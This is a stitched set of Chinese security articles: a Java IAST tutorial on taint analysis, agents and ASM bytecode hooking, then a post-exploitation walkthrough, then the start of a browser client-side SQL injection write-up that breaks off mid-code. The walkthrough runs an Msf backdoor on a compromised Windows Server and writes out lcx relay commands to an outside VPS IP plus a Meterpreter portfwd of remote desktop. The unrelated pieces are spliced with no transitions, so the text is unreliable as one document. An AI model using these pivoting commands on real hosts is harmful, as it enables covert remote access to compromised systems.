，根据这些信息来判断程序是否存在告警。它对来自客户端产生的请求和响应进行分析，这点类似于DAST；而它能够监控数据流信息，通过污点分析产生告警又类似于SAST。IAST有很多种模式，代理模式、流量镜像模式，插桩模式等，可参考<https://www.freebuf.com/articles/web/290863.html。>
本次重点介绍插桩模式，插桩实现主要通过动态hook和污点传播。
hook技术：Java最常见的hook的是JVM层，通过JVMTI接口Instrumentation在类被加载之前对类进行拦截，通过插入字节码进行修改并重载类实现hook；
污点传播：污点传播分析技术是信息流分析技术的一种实践方法，通过对系统中敏感数据进行标记跟踪数据在程序中的传播来进行安全检测。
插桩模式有主动插桩模式和被动插桩模式。
主动插桩模式：在关键函数hook到流量后，会添加payload进行扫描，包含了类似DAST的功能，主动对目标应用进行扫描，应用服务器的IAST
agent不会追踪整个污点数据流，仅收集关键数据，将数据发送给IAST管理端，IAST管理端会向应用服务器发送构造好的重放流量来验证风险是否存在；
被动插桩模式：不会主动发送payload，对来自客户端的请求响应进行污点传播数据流监控，根据是否经过无害化处理判断是否存在漏洞。
本文主要针对JAVA类应用，需要用到的技术包括污点分析、插桩技术Instrumentation&agent、字节码增强技术如ASM、javassist，接下来的笔记是先把这些技术进行介绍，然后再对被动插桩式IAST
demo项目进行改动，以SQL注入和log4j2 CVE-2021-44228漏洞进行深入理解并且记录遇到的问题。
## 0x01 污点分析：
污点分析可以抽象成一个三元组`<sources,sinks,sanitizers>`的形式：
1、source即污点源，代表直接引入不受信任的数据或者机密数据到系统中;
2、sink即污点汇聚点，代表直接产生安全敏感操作(违反数据完整性)或者泄露隐私数据到外界(违反数据保密性);
3、sanitizer即无害处理，代表通过数据加密或者移除危害操作等手段使数据传播不再对软件系统的信息安全产生危害。
从source到sink数据是否经过了sanitizer无害处理，如果经过则认为信息流是安全的，不经过那么认为信息流存在安全问题的。如下图是一个SQL执行的示例，我们需要通过污点分析思想判断它是否存SQL注入漏洞，假设`String
sql = "select * from user where id=" +
value;`中的value可以通过用户输入获取，我们判断它就是一个source，而执行SQL语句的代码认为是敏感操作，判断为sink，中间代码是在SQL语句后面添加`'`和转义处理语句中的单引号，属于sanitizer无害处理，当sql经过无害处理后，不再存在SQL注入漏洞，如果未经无害处理直接执行，则存在SQL注入漏洞。
通过上面示例，我们大概知道了通过污点分析能够发现一些安全问题，想了解更多可以看看这篇文章[简单理解污点分析技术](https://www.k0rz3n.com/2019/03/01/%E7%AE%80%E5%8D%95%E7%90%86%E8%A7%A3%E6%B1%A1%E7%82%B9%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF/)。
## 0x02 插桩技术：
JVM不能直接执行.java 代码或者.class文件，它只能执行.class 文件中存储的指令码。class需要通过classLoader
装载以后才能被执行。如果我们想要在JVM加载class前或加载class后修改class字节码，添加埋点逻辑并重新进行加载，需要用到Instrumentation与ASM，Instrumentation可以拦截ClassLoad加载或者重新对class加载，ASM操作修改字节码
增加代码逻辑。接下来我们就Instrumentation和ASM技术进行介绍。
### Instrumentation
Instrumentation主要用于类定义 **动态** 改变和操作，在JVM运行状态拦截class加载并提供类转换服务。
#### ClassFileTransformer
ClassFileTransformer是一个类文件转换器，提供类字节码操作服务，可以在transform方法中定义字节码的修改并返回新的字节码数组。ClassFileTransformer通常被Instrumentation用来注册转换器在类加载时进行类的转换，接口定义如下：
package java.lang.instrument;
import java.security.ProtectionDomain;
public interface ClassFileTransformer {
byte[] transform( ClassLoader loader, // 类加载器
String className, // 类名
Class<?> classBeingRedefined, // 类重定义
ProtectionDomain protectionDomain, //保护域
byte[] classfileBuffer) //类的字节码数组
throws IllegalClassFormatException;
}
#### Instrumentation接口
Instrumentation定义了很多接口，常用的接口如下：
1、//注册ClassFileTransformer实例，注册多个会按照注册顺序进行调用。所有的类被加载完毕之后会调用ClassFileTransformer实例，相当于它们通过了redefineClasses方法进行重定义。cransform表示是否能够通过retransformClasses方法进行回滚。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
//添加ClassFileTransformer，默认不能回滚
void addTransformer(ClassFileTransformer transformer);
2、//重新定义Class文件
void redefineClasses(ClassDefinition... definitions)
3、//已加载类进行重新转换的方法，重新转换的类会被回调到ClassFileTransformer的列表中进行处理
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException
4、//可以被重新定义，该方法主要作用于已经加载过的class
boolean isRetransformClassesSupported();
5、//ClassFileTransformer
boolean removeTransformer(ClassFileTransformer transformer);
6、//是否可以修改Class文件
boolean isModifiableClass(Class<?> theClass);
7、//获取所有加载的Class
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
//获取指定类加载器已经初始化的类
@SuppressWarnings("rawtypes")
Class[] getInitiatedClasses(ClassLoader loader);
Instrumentation有两种agent模式：premain和agentmain，premain和agentmain两种方式最终都是为了回调`Instrumentation`实例，激活`sun.instrument.InstrumentationImpl#transform()`从而回调注册到`Instrumentation`中的`ClassFileTransformer`以实现字节码修改。
#### agent onload-premain模式：
premain顾名思义在main前加载探针， **启动时** 通过JVM参数加载agent。
**API：**
public static void premain(String agentArgs, Instrumentation inst)
public static void premain(String agentArgs)
**示例：**
打印执行main前所有已加载的类。需要agent的jar包（包括agent和Transfromer）和测试程序。
Agent.java:
import java.lang.instrument.Instrumentation;
public class Agent {
public static void premain(String agentOps, Instrumentation inst) {
System.out.println("=======this is agent premain function=======");
inst.addTransformer(new TestTransfromer());
}
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
System.out.println("loadagent after main run.args=" + agentArgs);
Class<?>[] classes = instrumentation.getAllLoadedClasses();
for (Class<?> cls : classes) {
System.out.println(cls.getName());
}
System.out.println("agent run completely.");
instrumentation.addTransformer(new DefineTransformer());
}
}
TestTransfromer.java：
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TestTransfromer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className.replace("/", "."));
System.out.println(classfileBuffer.length);
return classfileBuffer;
}
}
在pom.xml中添加premain的配置，添加完后，package打包成jar包。
<manifestEntries>
<!--premain-->
<Premain-Class>com.r17a.demo.Agent</Premain-Class>
</manifestEntries>
随意写一个main打包，在命令行进行测试：`java -javaagent:agent-1.0-SNAPSHOT.jar -jar
test1-1.0-SNAPSHOT.jar`。如下图，打印出了执行main前已加载的类。
#### agent onattach-agentmain模式：
agentmain在main运行时加载，是在 **运行态** 将agent加载到目标JVM中并在该JVM中执行。
**API:**
public static void agentmain (String agentArgs, Instrumentation inst)
public static void agentmain (String agentArgs)
**示例：**
在目标JVM运行时打印所有已加载的类。需要三个程序agent的jar包、正在运行的主程序、将agent加载到主程序所在JVM的程序。
Agent程序：
Agent.java
import java.lang.instrument.Instrumentation;
public class Agent {
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
System.out.println("loadagent after main run.args=" + agentArgs);
Class<?>[] classes = instrumentation.getAllLoadedClasses();
for (Class<?> cls : classes) {
System.out.println(cls.getName());
}
System.out.println("agent run completely.");
instrumentation.addTransformer(new DefineTransformeAr());
}
}
DefineTransformer.java
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("premain load Class:" + className);
return classfileBuffer;
}
}
pom.xml添加如下配置，并打包。
<manifestEntries>
<!--agentmain-->
<Agent-Class>com.r17a.demo.Agent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<can-redefine-classes>true</can-redefine-classes>
</manifestEntries>
Main主程序：
Main.java，直接运行
public class Main {
public static void main(String[] args) throws InterruptedException {
System.out.println("This is Main Program!");
// 模拟运行状态
Thread.sleep(10000000L);
}
}
AttachLauncher.java：
编写attach程序，将agent.jar加载到Main程序所在JVM进行执行，注意agent.jar填写自己的路径。
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class AttachLauncher {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
System.out.println("Hello,This is TestAgent Program!");
System.out.println("running JVM start ");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
System.out.println(list.size());
for (VirtualMachineDescriptor vmd : list) {
// 匹配目标主程序所在jvm，并加载agent
if (vmd.displayName().endsWith("com.r17a.demo.Main")) {
System.out.println("attaching agent to jvm:" + vmd.displayName() + ",jvmid is " + vmd.id());
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("yourpath/agent-1.0-SNAPSHOT.jar");
virtualMachine.detach();
System.out.println("attach finsh!");
}
}
}
}
首先运行Main.java，保证主程序已启动在运行状态，执行AttachLauncher加载agent，运行结果如下：
#### 小结
premain和agentmain两者区别如下：
* premain在JVM启动时通过命令行加载代理，agentmain采用attach方式向目标JVM中加载代理；
* premain是所有类首次加载并且进入程序main()方法之前，premain方法就会被激活，然后所有被加载的类都会执行`ClassFileTransformer`列表中的回调方式，`ClassFileTransformer`中的类是虚拟机加载的所有类，这个是由于代理加载的顺序比较靠前决定的。agentmain是被代理的目标JVM有可能很早之前已经启动，类已经被加载完成，这个时候需要借助`Instrumentation#retransformClasses(Class<?>... classes)`让对应的类可以重新转换，从而激活重新转换的类执行`ClassFileTransformer`列表中的回调。
### ASM：
#### 字节码结构
字段 | 长度 | 说明
---|---|---
魔数(magic_number) | 4字节 | class的标志CAFEBABE
版本(version) | 4字节 | 次版本minor version+主版本major version，
常量池(constant_pool) | 2字节+cp_info*(n-1) |
常量池计数器+常量池数据区=常量数量n+cp_info*(n-1)。不同类型的常量数据结构不同，数值型结构都是tag+bytes，比如CONSTANT_Interger_info为1字节的tag值为3，4字节的bytes为int值；UTF8编码的字符串CONSTANT_Utf8_info的结构是tag(1字节,值为1)+length(2字节,字符串长度)+bytes(长度为length的字符串)；ref索引型结构基本都是tag+index+index或者tag+index，比如CONSTANT_Class_info结构为tag(1字节,值为7)+index(2字节,指向类的权限定名常量项的索引)，CONSTANT_Fieldref_Class_info
访问标志(access_flag) | 2字节 | 表示类、方法等的修饰符，如ACC_PUBLIC 0x0001，ACC_STATIC
0x0008，那么public static就是ACC_PUBLIC和ACC_STATIC或运算后的结果0x0009
本类索引(this_class) | 2字节 | 类的全限定名的索引，指向常量池该类的CONSTANT_Class_info
父类索引(super_class) | 2字节 | 父类的全限定名的索引
接口索引(interfaces) | 4字节 | 接口计数器+接口信息，即2字节表示实现接口的数量，n个字节是所有接口名称的常量索引值
字段表(fileds) | 2字节+field_info*n |
字段计数器(2字节)+field_info*n。field_info包括权限修饰符、字段名索引、描述符索引、属性个数、属性列表
方法表(methods) | 2字节+method_info*n |
方法计数器(2字节)+method_info*n。method_info包括权限修饰符、方法名索引、描述符索引、属性个数、属性列表
特殊属性表(attributes) | 2字节+attribute_info | 描述文件中类或接口所定义属性的基本信息。
方法表是我们字节码增强操作非常关注的一部分，所以特别说明下。方法表的属性部分包括不限于
> * Code区：JVM指令操作码区，在进行字节码增强时重点操作的就是Code区这一部分。
> *
> LineNumberTable：行号表，Java源码的行号与Code区字节码指令的对应关系，将Code区的操作码和源代码中的行号对应，Debug时会起到作用（源代码走一行，需要走多少个JVM指令操作码）。
> *
> LocalVariableTable：本地变量表，包含This和局部变量，之所以可以在每一个方法内部都可以调用This，是因为JVM将This作为每一个方法的第一个参数隐式进行传入。当然，这是针对非Static方法而言。
>
字节码操作指令(opcode)类型包括加载存储、运算和类型转换、控制转移、对象操作、方法调用、线程同步、异常处理等，具体可以参考：<https://segmentfault.com/a/1190000008722128。>
#### ASM字节码增强技术
ASM工具可以修改字节码，核心包有Core API、Tree API、Commons和Util等，ASM转换类的两种方法就是基于事件触发的Core
API和基于对象的Tree API。Core API采用事件驱动方法，按照class内容顺序解析文档，当解析触发事件则回调函数处理事件；而Tree
API是采用树型结构先将class解析成树结构的数据然后进行处理。本文关注的主要是Core
API，想要了解更多可以阅读：[asm4-guide](http://download.forge.objectweb.org/asm/asm4-guide.pdf)。Core
API最重要的就是ClassReader、ClassVisitor和ClassWriter这三个类。
> ClassReader： **字节码读取和分析引擎**
> ，负责解析class文件，将class内容解析成对应上面字节码结构的各个节点。当有事件发生，触发相应的ClassVisitor、MethodVisitor进行处理，这个类可以看作一个事件产生器。
>
> ClassVisitor：是一个抽象类 使用时需要继承， **ClassVisitor定义解析class字节码时想要触发的事件** ，可以通过
> **ClassVisitor的visit方法修改原始的字节码**
> ，ClassVisitor的每个visitXxx方法都对应于同名的类文件结构节点，比如visitAttribute、visitField、visitMethod等。这样当ClassReader.accept()传入ClassVisitor实例时，ClassVisitor定义ClassReader在解析class的不同节点时需要触发的事件，然后调用ClassVisitor中对应节点的方法。
> 这个类可以看作一个事件筛选器。
>
> ClassWriter：继承了ClassVisitor接口，可以 **拼接生成字节码**
> ，调用toByteArray将字节码byte数组形式返回。code
这里要特别强调下MethodVisitor，它有非常多用来操作code区(上面字节码部分提到的方法表属性中的)指令码的方法，也是经常会用到的：
方法 | 描述
---|---
visitCode() | 开始解析Code属性
visitInsn(int opcode) | 访问一个零参数要求的字节码指令，如ACONST_NULL
visitIntInsn(int opcode, int operand) | 访问一个零操作栈要求但需要有一个int参数的字节码指令，如BIPUSH
visitVarInsn(int opcode, int var) | 访问一个关于局部变量的字节码指令，如ALOAD
visitTypeInsn(int opcode, String type) | 访问一个关于类型的字节码指令，如CHECKCAST
visitFieldInsn(int opcode, String owner, String name, String desc) |
访问一个有关于字段的字节码，如PUTFIELD
visitMethodInsn(int opcode, String owner, String name, String desc) |
访问一个有关于方法调用的字节码，如INVOKESPECIAL
visitJumpInsn(int opcode, Label label) | 访问跳转字节码，如IFEQ
visitInvokeDynamicInsn(String name, String desc, Handle bsm,Object... bsmArgs)
| 基于INVOKEDYNAMIC，动态方法调用，会在lambda表达式和方法引用里用到
visitLdcInsn(Object cst) | 基于LDC、LDC_W和LDC2_W，将一个常量加载到操作栈用
visitIincInsn(int var, int increment) | 基于IINC、IINC_W，自增/减表达式
visitTableSwitchInsn(int min, int max, Label dflt, Label... labels) |
基于TABLESWITCH，用于进行table-switch操作
#### ASM操作示例：
package com.r17a.demo.asm;
public class Test {
public void test(){
System.out.println("the program is running!");
}
}
我们尝试将一个Test.class文件读取，然后将test方法的开始和结束加上字符串输出，将其增强为：
package com.r17a.demo.asm;
public class Test {
public void test(){
System.out.println("here enhanced: enter");
System.out.println("the program is running!");
System.out.println("here enhanced: leave");
}
}
首先我们自定义一个ClassVisitor用来定义事件，也就是来修改test方法：
package com.r17a.demo.asm;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
public class TestClassVisitor extends ClassVisitor implements Opcodes {
public TestClassVisitor(ClassVisitor cv) {
super(Opcodes.ASM5, cv);
}
@Override
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
super.visit(version, access, name, signature, superName, interfaces);
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
MethodVisitor mv = cv.visitMethod(access, name, desc, signature, exceptions);
// 当方法名为test时候进行修改
if(name.equals("test")){
mv = new TestMethodVisitor(mv);
}
return mv;
}
class TestMethodVisitor extends MethodVisitor implements Opcodes{
public TestMethodVisitor(MethodVisitor mv) {
super(Opcodes.ASM5, mv);
}
@Override
public void visitCode() {
super.visitCode();
// 在开始扫描code区时 即方法开始时添加方法调用System.out.println("here enhanced: enter");
// 首先System.out是一个field: public final static PrintStream out = null;
mv.visitFieldInsn(Opcodes.GETSTATIC,"java/lang/System","out","Ljava/io/PrintStream;");
// 将字符串常量加载到栈
mv.visitLdcInsn("here enhanced: enter");
// 调用println: public void println(String x)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,"java/io/PrintStream","println","(Ljava/lang/String;)V",false);
}
@Override
public void visitInsn(int opcode) {
// int IRETURN = 172; // visitInsn
// int LRETURN = 173; // - // int FRETURN = 174; // - // int DRETURN = 175; // - // int ARETURN = 176; // - // int RETURN = 177; // - // 判断opcode是否处于结束状态，return或者抛出异常的情况，在结束前添加字节码
if ((opcode >= Opcodes.IRETURN && opcode <= Opcodes.RETURN) || opcode == Opcodes.ATHROW){
mv.visitFieldInsn(Opcodes.GETSTATIC,"java/lang/System","out","Ljava/io/PrintStream;");
mv.visitLdcInsn("here enhanced: leave");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,"java/io/PrintStream","println","(Ljava/lang/String;)V",false);
}
super.visitInsn(opcode);
}
}
}
通过ClassReader、ClassVisitor、ClassWriter来实现具体的修改，并通过自定义TestClassLoader重新加载类，在调用test方法：
package com.r17a.demo.asm;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.ClassVisitor;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
public class AsmTest {
public static void main(String[] args) throws Exception {
// 自定义ClassLoader重新加载Test，方便调用增强后的test方法
TestClassLoader testClassLoader = new TestClassLoader();
Class<?> aClass = testClassLoader.findClass("com.r17a.demo.asm.Test");
Object test = aClass.newInstance();
Method method = aClass.getMethod("test");
method.invoke(test);
}
public static byte[] getClassBuffer() throws IOException{
// 读取class
ClassReader classReader = new ClassReader("com/r17a/demo/asm/Test");
// classWriter提供一个编写器
ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_MAXS);
// 调用自定义的ClassVisitor定义事件，即增强字节码
ClassVisitor classVisitor = new TestClassVisitor(classWriter);
// 通知触发事件
classReader.accept(classVisitor,ClassReader.SKIP_DEBUG);
// 获取字节码的byte数组
byte[] bytes = classWriter.toByteArray();
FileOutputStream fileOutputStream = new FileOutputStream(new File("/Users/R17a/网安/代码审计/JAVA代码审计/项目/tmp/tmp111/src/main/java/com/r17a/demo/asm/Test.class"));
fileOutputStream.write(bytes);
fileOutputStream.close();
return bytes;
}
static class TestClassLoader extends ClassLoader{
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name.endsWith("com.r17a.demo.asm.Test")){
try {
// 重定义Test为增强后的类
byte[] bytes = getClassBuffer();
return defineClass(name,bytes,0,bytes.length);
}catch (IOException e){
return super.findClass(name);
}
}
return super.findClass(name);
}
}
}
执行AsmTest后的结果：
#### AdviceAdapter
AdviceAdapter是MethodVisitor的子类，onMethodEnter、onMethodExit是在AdviceAdapter中定义的两个接口，分别在方法开始和方法结束时修改代码，onMethodEnter和onMethodExit的本质还是调用visitCode或者visitInsn方法来实现的。
protected void onMethodEnter() {}
protected void onMethodExit(int opcode) {}
我们尝试将上面的例子做修改，通过AdviceAdapter在方法开始和结束增加代码逻辑，最终运行效果一样。
public class TestClassVisitorByAdviceAdapter extends ClassVisitor implements Opcodes {
public TestClassVisitorByAdviceAdapter(ClassVisitor cv) {
super(Opcodes.ASM5, cv);
}
@Override
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
super.visit(version, access, name, signature, superName, interfaces);
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
MethodVisitor mv = cv.visitMethod(access, name, desc, signature, exceptions);
// 当方法名为test时候进行修改
if (name.equals("test")) {
mv = new TestMethodVisitor(Opcodes.ASM5, mv, access, name, desc);
}
return mv;
}
class TestMethodVisitor extends AdviceAdapter {
protected TestMethodVisitor(int api, MethodVisitor mv, int access, String name, String desc) {
super(api, mv, access, name, desc);
}
@Override
protected void onMethodEnter() {
super.onMethodEnter();
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
// 将字符串常量加载到栈
mv.visitLdcInsn("here enhanced: enter");
// 调用println: public void println(String x)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
}
@Override
protected void onMethodExit(int opcode) {
super.onMethodExit(opcode);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
mv.visitLdcInsn("here enhanced: leave");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
}
}
}
## 0x03 IAST demo
### 确定IAST思路
我们在完成一个被动插桩式IAST时，必须考虑的肯定有以下部分：
1. hook方法：在source、sink、propagator等添加方法，用于埋点和监控，
2. agent和插桩：premain或者agentmain方式加载agent，实现ClassFileTransformer，用ASM添加埋点逻辑
3. context全局共享：记录调用图等信息
### 确定污点传播及修改代码
在阅读了sky师傅的[浅谈被动式IAST产品与技术实现-代码实现Demo篇](https://www.03sec.com/Ideas/qian-tan-bei-dong-shiiast-chan-pin-yu-ji-shu-shi-x-1.html#morphing)，对其代码进行了稍微的改动，用一个JDBC SQL注入和log4j2
jndi注入漏洞示例进行理解，修改后的代码<https://github.com/R17a-17/java_iast_example/tree/iast_demo。>
#### SQL注入
首先确定污点分析的source、sink、propagator，source和sink很好确认，很明显就是source可以是客户端传递参数的入口`Request.getParameter()`，sink是SQL执行的地方即`Statement.executeQuery()`，但是这里需要注意，实际执行SQL查询的是`StatementImpl.executeQuery()`,`Statement.executeQuery()`是一个接口，所以sink是`StatementImpl.executeQuery()`，那么中间传播propagator可能是一些String的相关操作，SQL注入最常见的是做拼接，Java的string直接`+`最终还是使用`StringBuilder.append（）`，那么我们尝试将`StringBuilder.append（）`作为propagator。
String id = request.getParameter("id");
...
Statement statement = connection.createStatement();
String sql = "select * from user where id=" + value;
ResultSet resultSet = statement.executeQuery(sql);
这一步我们确定了：
1. source：`Request.getParameter()`
2. sink：`StatementImpl.executeQuery()`
3. propagator：`StringBuilder.append（）`
那么我们可以对<https://github.com/iiiusky/java_rasp_example进行修改，已知原代码本身：已经对source>
`Request.getParameter()`添加了代码逻辑，所以我们不需要再进行添加。先对sink进行添加在`cn.org.javaweb.iast.visitor.handler.SinkClassVisitorHandler`的ClassVisitorHandler方法中，添加判断条件`className.equals("com.mysql.cj.jdbc.StatementImpl")&&name.equals("executeQuery")`，意味着对`com.mysql.cj.jdbc.StatementImpl.executeQuery()`进行埋点：
public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access,
final String name, final String desc, String signature, String[] exceptions) {
if (("start".equals(name) && METHOD_DESC.equals(desc))||(className.equals("com.mysql.cj.jdbc.StatementImpl")&&name.equals("executeQuery"))) {
...
同理在`cn.org.javaweb.iast.visitor.handler.PropagatorClassVisitorHandler`给`StringBuilder.append()`埋点
public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, final String name, final String desc, String signature, String[] exceptions) {
if ((name.contains("decode") && METHOD_DESC.equals(desc)) || CLASS_NAME.equals(className) || (className.equals("java.lang.StringBuilder") && name.equals("append")&&desc.equals("(Ljava/lang/String;)Ljava/lang/StringBuilder;"))){
运行后的结果如下：
#### Log4j2
那么log4j2漏洞我们以同样的思路进行修改，关于漏洞细节可以阅读之前的文章[log4j2
漏洞分析与思考](https://r17a-17.github.io/2021/12/21/log4j2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E6%80%9D%E8%80%83/)。首先确认污点传播：
1. Source：`Request.getParameter()`
2. Sink：可以考虑lookup方法，即`javax.naming.InitialContext.lookup()`
3. Propagator：传播过程一般是string的操作，为了防备，这里不额外做埋点了。
修改代码不再赘述，运行结果如下：
### 问题记录
1、tomcat加载agent遇到NoClassDefFoundError问题：
遇到这个问题找了好久的解决方法，最后发现跟类加载的双亲委派机制有关。
先来回顾下类生命周期：加载、链接（验证、准备、解析）、初始化、使用、卸载，其中类的加载采用的双亲委派模型。JVM
启动默认使用如下三种类型类装入器：BootstrapClassLoader启动类加载器、ExtensionClassLoader扩展类加载器和SystemClassLoader系统类加载器，具体每个类加载器加载的类库可以看下图。
我们知道双亲委派模型如下：
1. 本加载器需要加载类时，检查该类是否被加载，未被加载先交由父加载器加载类
2. 当父加载器不能加载时，再交给其父加载器
3. 如果所有的父类加载器都不能加载，则由本加载器进行加载，但是本加载器也不能加载时就会出现ClassNotFoundError。
如下图，通常我们的Javaagent会被SystemClassLoader加载，tomcat有自定义的加载器。当我们的agent用到了web应用中的某个类com.r17a.xxx时，com.r17a.xxx本在tomcat自定义的加载器中加载，但是javaagent用到了该类尝试在SystemClassLoader中加载，相当于父加载器直接加载本来是由子加载器才能加载的类，就会出现ClassNotFoundError。所以我们要解决该问题有两种方法，一是让SystemClassLoader能够加载到我们需要用到的类，二是将agent中涉及到的类分离由tomcat自定义加载器中加载不被SystemClassLoader加载。本实验是通过`-Xbootclasspath:/.../agent.jar`解决的。
2、添加埋点逻辑的时候注意是不是接口，接口不能增强，比如`java.sql.Statement.executeQuery()`本身是一个接口，不能添加代码，所以对`com.mysql.cj.jdbc.StatementImpl.executeQuery()`即子类进行hook，算是一个小注意点。
3、遍历list的时候无意间添加了元素，但又没有报错
问题：遍历callChain时候，明明有sink元素却一直不打印，一到`StringBuilder.append()`就不打印之后的call信息了。
问题定位：
通过一步一步调试发现，在HTTP.leaveHttp方法中，打印信息时调用了`Arrays.asList(item.getArgumentArray())`，这个方法最终会调用`StringBuilder.append()`，已知我们在append中添加了代码逻辑及`Propagator.enterPropagator()`和`Propagator.leavePropagator()`，在这两个方法中会将调用方法添加到CallChain，CallChain本身就在`HTTP.leaveHttp()`中在进行遍历`RequestContext.getHttpReques；tContextThreadLocal().getCallChain().forEach`，这个问题相当于在遍历list的时候给该list添加元素，一般采用迭代器来解决。
解决方法：
我这里是直接避免再次添加无用的`StringBuilder.append()`的callChain，根据条件直接在`HttpRequestContext.addCallChain()x中`不再添加则可解决：
public void addCallChain(CallChain callChain) {
// 遍历之前的元素，如果有元素是enterPropagator或者leavePropagator，并且是append方法，就不添加append元素
// 这样可以解决遍历时候还添加元素从而导致出错
for (CallChain item: this.callChain) {
if (item.getChainType().equals("enterPropagator") && item.getJavaMethodName().equals("append") && callChain.getJavaMethodName().equals("append"))
return;
if (item.getChainType().equals("leavePropagator") && item.getJavaMethodName().equals("append") && callChain.getJavaMethodName().equals("append"))
return;
}
this.callChain.add(callChain);
}
## 0x04 参考链接
<https://www.k0rz3n.com/2019/03/01/%E7%AE%80%E5%8D%95%E7%90%86%E8%A7%A3%E6%B1%A1%E7%82%B9%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF/>
<https://www.freebuf.com/sectool/290671.html>
《深入理解JVM字节码》
<https://blog.csdn.net/weixin_29306011/article/details/114449863>
<https://tech.meituan.com/2019/09/05/java-bytecode-enhancement.html>
<https://www.cnblogs.com/lzmrex/articles/12888619.html>
<https://dzone.com/refcardz/introduction-to-iast>
<https://www.bilibili.com/read/cv10794772/>
<https://blog.51cto.com/lsieun/2974297>
<https://cloud.tencent.com/developer/article/1650113>
<https://blog.csdn.net/weixin_39602737/article/details/114069325> | 社区文章 |
连接示意图
VPS 服务器上用 lcx 工具进行端口监听
lcx -listen 5353 3535
Attack Target (Windows Server 2003) 服务器上运行 Msf后门并用 lcx 工具进行端口转发
Windows Server 2003 网络配置
运行 Msf 后门程序
运行 lcx 工具链接 VPS 服务器进行本地端口转发
lcx -slave 172.87.24.247 5353 127.0.0.1 9009
(VPS 上可看到来自 Attack Target 的网络连接)
## BackBox 上启动 msfconsole 进行后门链接
[Backbox
网络配置](https://www.secpulse.com/archives/tag/backbox-%e7%bd%91%e7%bb%9c%e9%85%8d%e7%bd%ae)
启动 [msfconsole](https://www.secpulse.com/archives/tag/msfconsole) 加载
exploit/multi/handler
Msf 终端下执行 run 命令启动链接
## Meterpreter 内网端口转发
Portfwd命令简单端口转发（本地 3389 远程桌面转发）
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.
-L 选项指定本地监听的主机（即 Backbox 主机，可简单指定为:0.0.0.0）
-l 选项指定本地监听的端口（即 Backbox 主机监听的端口，可简单指定为：3389）
-p 选项指定远程主机要转发的端口（例如 Attack Target（Windows Server 2003）上的 3389 端口）
-r 选项制定远程主机网络地址（例如 Attack Target(Windows Server 2003) 的 127.0.0.1）
转发远程主机 3389 进行远程桌面链接
Portfwd add -L 0.0.0.0 -l 3389 -r 127.0.0.1 -p 3389
连接 Backbox 主机的 3389 端口
行文至末，属于比较详细的图文记录档案，可作为参考备用，欢迎不断查阅。 | 社区文章 |
接[上篇](http://paper.seebug.org/107/)，本篇翻译自原文后部分，本文有增改
原文：http://d3adend.org/blog/?p=851
原作者： **Neil Bergman**
译： **Holic (知道创宇404安全实验室)**
* * *
### 寻找客户端 SQL 注入漏洞
目前为止我们已经使用 `catchform` 方法来利用 UXSS 漏洞，但是利用暴露的 `catchform` 方法在
`mxbrowser_default` 数据库中触发客户端 SQL 注入也是可行的，这可以远程破坏数据库的完整性和机密性。
考虑到下面的代码取自 `com.mx.browser.a.f` 类。当域的用户名/密码行不存在时，使用参数化的 SQL
语句将数据插入本地数据库。当该域的用户名/密码行已经存在时，使用动态字符串链接构建 UPDATE SQL 语句。恶意网页控制 `b` 变量（用户名）和
`a` 变量（host），但不直接控制 `c` 变量（密码），因为密码是被加密编码过的。
Cursor v1;
SQLiteDatabase v0 = g.a().d();
String v2 = "select * from mxautofill where host =?";
h.f();
try {
v1 = v0.rawQuery(v2, new String[]{this.a});
if(v1.getCount() <= 0) {
ContentValues v2_1 = new ContentValues();
v2_1.put("host", this.a);
v2_1.put("username", this.b);
